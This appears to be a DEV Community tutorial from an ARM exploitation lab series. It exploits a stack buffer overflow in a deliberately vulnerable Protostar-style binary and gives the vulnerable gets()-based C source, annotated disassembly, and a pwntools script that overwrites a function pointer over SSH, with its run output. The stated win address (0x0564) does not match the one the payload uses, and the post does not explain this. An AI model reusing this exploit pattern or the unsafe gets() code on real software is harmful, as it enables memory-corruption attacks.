DEV Community

loading...
Cover image for Hack control flow – ARM sBOF

Hack control flow – ARM sBOF

hextrace
Writing about software security
・3 min read

In this episode of the ProtoARM series, we'll exploit a vulnerable program to change the 'normal' control flow. This is the vulnerable source:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    puts("congrats\n");
}

int main()
{
    volatile int (*fp)() = NULL;
    char buffer[64];

    gets(buffer);   
    if (fp)
    {
        printf("jump to 0x%08x\n", fp);
        fp();
    }
}
Enter fullscreen mode Exit fullscreen mode

Let's read the assembly of those two functions:

win function:

00000564 <win>:
prolog:
 564:   b580            push    {r7, lr}
 566:   af00            add     r7, sp, #0

good_boy:
 568:   4b03            ldr     r3, [pc, #12]   ; (578 <win+0x14>)
 56a:   447b            add     r3, pc
 56c:   4618            mov     r0, r3
 56e:   f7ff ef5a       blx     424 <puts@plt>
 572:   bf00            nop

epilog:
 574:   bd80            pop     {r7, pc}
 576:   bf00            nop

string_pool:
 578:   00000096
Enter fullscreen mode Exit fullscreen mode

This function simply prints a message. Its address is 0x0564, there is some padding in the form of nops.

main function:

0000057c <main>:
prolog:
 57c:   b580            push    {r7, lr}
 57e:   b092            sub     sp, #72 ; 0x48
 580:   af00            add     r7, sp, #0
 582:   2300            movs    r3, #0
 584:   647b            str     r3, [r7, #68]           ; fp = NULL
 586:   1d3b            adds    r3, r7, #4
 588:   4618            mov     r0, r3                  ; r0 = buffer
 58a:   f7ff ef46       blx     418 <gets@plt>          ; gets(buffer);
 58e:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 590:   2b00            cmp     r3, #0                  ; fp == NULL?
 592:   d007            beq.n   5a4 <main+0x28>


 594:   6c79            ldr     r1, [r7, #68]           ; l1 = fp
 596:   4b06            ldr     r3, [pc, #24]           ; (5b0 <main+0x34>)
 598:   447b            add     r3, pc
 59a:   4618            mov     r0, r3                  ; r0 = fmt
 59c:   f7ff ef36       blx     40c <printf@plt>        ; printf("jump to 0x%08\n", fp);
 5a0:   6c7b            ldr     r3, [r7, #68]           ; r3 = fp
 5a2:   4798            blx     r3                      ; jump to fp

exit_success:
 5a4:   2300            movs    r3, #0
 5a6:   4618            mov     r0, r3

epilog:
 5a8:   3748            adds    r7, #72 ; 0x48
 5aa:   46bd            mov     sp, r7
 5ac:   bd80            pop     {r7, pc}
 5ae:   bf00            nop
 5b0:   00000074        andeq   r0, r0, r4, ror r0
Enter fullscreen mode Exit fullscreen mode

A buffer overflow will overwrite the function pointer allowing the user to jump to an arbitrary location.

Here is the exploit we can use. The payload contains sufficient amout of A's to fill the buffer and the address of win so it properly overwrites the fp variable:

#!/usr/bin/env python3

import struct
from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')

i = 60
while True:
    i += 1
    print('test', i)
    payload = b'A' * i + struct.pack('<I', 0x00010435)
    process = socket.process('/root/protostarm/stack3/stack3')
    process.sendline(payload)
    res = ""
    while True:
        try:
            res += process.recv().decode()
        except:
            break

    print(res)
    if 'congrats' in res:
        break

    process.close()

socket.close()
Enter fullscreen mode Exit fullscreen mode
user@Azeria-Lab-VM:~/protoarm/stack3$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 61
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1565

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1565)
test 62
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1569
jump to 0x00000001

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1569)
test 63
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1573
jump to 0x00000104

[*] Stopped remote process 'stack3' on 192.168.0.1 (pid 1573)
test 64
[+] Starting remote process '/root/protostarm/stack3/stack3' on 192.168.0.1: pid 1577
jump to 0x00010435
congrats


[*] Closed connection to '192.168.0.1'
Enter fullscreen mode Exit fullscreen mode

Congrats! Next we'll discover how we can modify control flow without fp, but directly using the pc register.

Discussion (0)